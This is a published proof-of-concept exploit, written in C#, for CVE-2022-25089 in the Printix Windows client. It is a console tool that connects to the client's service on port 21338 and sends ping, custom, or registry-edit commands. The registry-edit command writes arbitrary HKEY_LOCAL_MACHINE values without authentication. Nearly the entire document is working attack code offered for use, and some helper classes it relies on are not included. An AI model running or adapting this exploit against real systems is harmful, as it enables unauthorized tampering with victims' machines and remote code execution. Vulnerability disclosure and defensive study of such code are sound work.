Printix Client 1.3.1106.0 Remote Code Execution

                # Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

  public class PersistentRegistryData
  {
    public PersistentRegistryCmds cmd;

    public string path;

    public int VDIType;

    public byte[] registryData;
  }

  [JsonConverter(typeof(StringEnumConverter))]
  public enum PersistentRegistryCmds
  {
    StoreData = 1,
    DeleteSubTree,
    RestoreData
  }
  public class Session
  {
    public int commandNumber { get; set; }
    public string host { get; set; }
    public string data { get; set; }
    public string sessionName { get; set; }
    public Session(int commandSessionNumber = 0)
    {
      commandNumber = commandSessionNumber;
      switch (commandSessionNumber)
      {
        //Incase it's initiated, kill it immediately.
        case (0):
          Environment.Exit(0x001);
          break;

        //Incase the Ping request is sent though, get its needed data.
        case (2):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          data = "pingData";
          sessionName = "PingerRinger";
          break;

        //Incase the RegEdit request is sent though, get its needed data.
        case (49):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
          persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
          persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
                             //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
          Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
          Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
          Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
          Console.Write("Registry Node: ");
          persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
          Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

          //persistentRegistryData.registryData = new byte[2];
          //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

          Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
          Console.Write("Type:  ");
          int dataF = int.Parse(Console.ReadLine());
          Console.WriteLine("Set Data to: " + dataF);

          Console.WriteLine("\n What value is your type?  \n");
          Console.Write("Value:  ");
          string dataB = Console.ReadLine();
          Console.WriteLine("Set Data to: " + dataF);

          byte[] loader = null;
          List<byte> byteContainer = new List<byte>();
          //Dword = 4
          //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

          switch (dataF)
          {
            case (1):

              loader = selectDataType(dataB, RegistryValueKind.String);
              byteContainer.Add(1);
              break;
            case (2):
              loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
              byteContainer.Add(4);
              break;
            case (3):
              loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
              byteContainer.Add(11);
              break;
            case (4):
              loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
              byteContainer.Add(7);
              break;

          }

          int pathHolder = 0;
          foreach (byte bit in loader)
          {
            pathHolder++;
            byteContainer.Add(bit);
          }

          persistentRegistryData.registryData = byteContainer.ToArray();
          //added stuff:

          //PersistentRegistryData data = new PersistentRegistryData();
          //data.cmd = PersistentRegistryCmds.RestoreData;
          //data.path = "";


          //data.cmd 
          Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
          data = JsonConvert.SerializeObject(persistentRegistryData);

          break;
        //Custom cases, such as custom JSON Inputs and more.
        case (100):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          Console.WriteLine("\n What Data Should Be Sent?\n");
          Console.Write("Data: ");
          data = Console.ReadLine();
          Console.WriteLine("Data set to: " + data);

          Console.WriteLine("\n What Session Name Should Be Used? \n");
          Console.Write("Session Name: ");
          sessionName = Console.ReadLine();
          Console.WriteLine("Session name set to: " + sessionName);
          break;
      }


    }
    public static byte[] selectDataType(object value, RegistryValueKind format)
    {
      byte[] array = new byte[50];

      switch (format)
      {
        case RegistryValueKind.String: //1
          array = Encoding.UTF8.GetBytes((string)value);
          break;
        case RegistryValueKind.DWord://4
          array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
          break;
        case RegistryValueKind.QWord://11
          if (value == null)
          {
            value = 0L;
          }
          array = BitConverter.GetBytes((long)value);
          break;
        case RegistryValueKind.MultiString://7 
          {
            if (value == null)
            {
              value = new string[1] { string.Empty };
            }
            string[] array2 = (string[])value;
            foreach (string s in array2)
            {
              byte[] bytes = Encoding.UTF8.GetBytes(s);
              byte[] second = new byte[1] { (byte)bytes.Length };
              array = array.Concat(second).Concat(bytes).ToArray();
            }
            break;
          }
      }
      return array;
    }
  }
  class CVESUBMISSION
    {
    static void Main(string[] args)
    {
    FORCERESTART:
      try
      {

        //Edit any registry without auth: 
        //Use command 49, use the code provided on the desktop...
        //This modifies it directly, so no specific username is needed. :D

        //The command parameter, a list of commands is below.
        int command = 43;

        //To force the user to input variables or not.
        bool forceCustomInput = false;

        //The data to send, this isn't flexible and should be used only for specific examples.
        //Try to keep above 4 characters if you're just shoving things into the command.
        string data = "{\"profileID\":1,\"result\":true}";

        //The username to use.
        //This is to fulfill the requriements whilst in development mode.
        DefaultValues.CurrentSessName = "printixMDNs7914";

        //The host to connect to. DEFAULT= "localhost"
        string host = "192.168.1.29";

      //                Configuration Above

      InvalidInputLabel:
        Console.Clear();
        Console.WriteLine("Please select the certificate you want to use with port 21338.");
        //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
        Console.WriteLine("Already selected, client authentication isn't needed.");

        Console.WriteLine(" /───────────────────────────\\ ");
        Console.WriteLine("\nWhat would you like to do?");
        Console.WriteLine("\n  1. Send Ping Request");
        Console.WriteLine("  2. Send Registry Edit Request");
        Console.WriteLine("  3. Send Custom Request");
        Console.WriteLine("  4. Experimental Mode (Beta)\n");
        Console.Write("I choose option # ");

        try
        {
          switch (int.Parse(Console.ReadLine().ToLower()))
          {
            case (1):
              Session session = new Session(2);

              command = session.commandNumber;
              host = session.host;
              data = session.data;
              DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



              break;
            case (2):
              Session sessionTwo = new Session(49);

              command = sessionTwo.commandNumber;
              host = sessionTwo.host;
              data = sessionTwo.data;
              DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

              break;
            case (3):

              Console.WriteLine("What command number do you want to input?");
              command = int.Parse(Console.ReadLine().ToString());
              Console.WriteLine("What IP would you like to use? (Default = localhost)");
              host = Console.ReadLine();
              Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
              data = Console.ReadLine();

              Console.WriteLine("What session name do you want to use? ");
              DefaultValues.CurrentSessName = Console.ReadLine();
              break;
            case (4):
              Console.WriteLine("Not yet implemented.");
              break;
          }
        }
        catch (Exception e)
        {
          Console.WriteLine("Invalid Input!");
          goto InvalidInputLabel;
        }
        
        Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
        Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");

        CompCommClient client = new CompCommClient();


        byte[] responseStorage = new byte[25555];
        int responseCMD = 0;
        client.Connect(host, 21338, 3, 10000);

        client.SendMessage(command, Encoding.UTF8.GetBytes(data));
        // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
        // Check for output multiple times, and see if this is conclusive.



        //client.SendMessage(51, Encoding.ASCII.GetBytes(data));
        new Thread(() => {
          //Thread.Sleep(4000);
          if (client.Connected())
          {
            int cam = 0;
            // 4 itterations of loops, may be lifted in the future.
            while (cam < 5)
            {

              //Reads the datastream and keeps returning results.
              //Thread.Sleep(100);
              try
              {
                try
                {
                  if (responseStorage?.Any() == true)
                  {
                    //List<byte> byo1 =  responseStorage.ToList();
                    if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
                    {
                      foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
                      {
                        if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
                        {
                          Console.Write(cam2);
                        }
                      }
                    }else
                                        {
                      
                                        }
                  }

                }
                catch (Exception e) { Debug.WriteLine(e); }
                client.Read(out responseCMD, out responseStorage);

              }
              catch (Exception e)
              {
                goto ReadException;
              }
              Thread.Sleep(100);
              cam++;
              //Console.WriteLine(cam);
            }

          


          }
          else
          {
            Console.WriteLine("[WARNING]: Client is Disconnected!");
          }
        ReadException:
          try
          {
            Console.WriteLine("Command Variable Response: " + responseCMD);
            Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
            client.disConnect();
          }
          catch (Exception e)
          {
            Console.WriteLine("After 4.2 Seconds, there has been no response!");
            client.disConnect();
          }
        }).Start();

        Console.WriteLine(responseCMD);
        Console.ReadLine();

      }

      catch (Exception e)
      {
        Console.WriteLine(e);
        Console.ReadLine();

        //Environment.Exit(e.HResult);
      }

      goto FORCERESTART;
    }
  }
}
<p>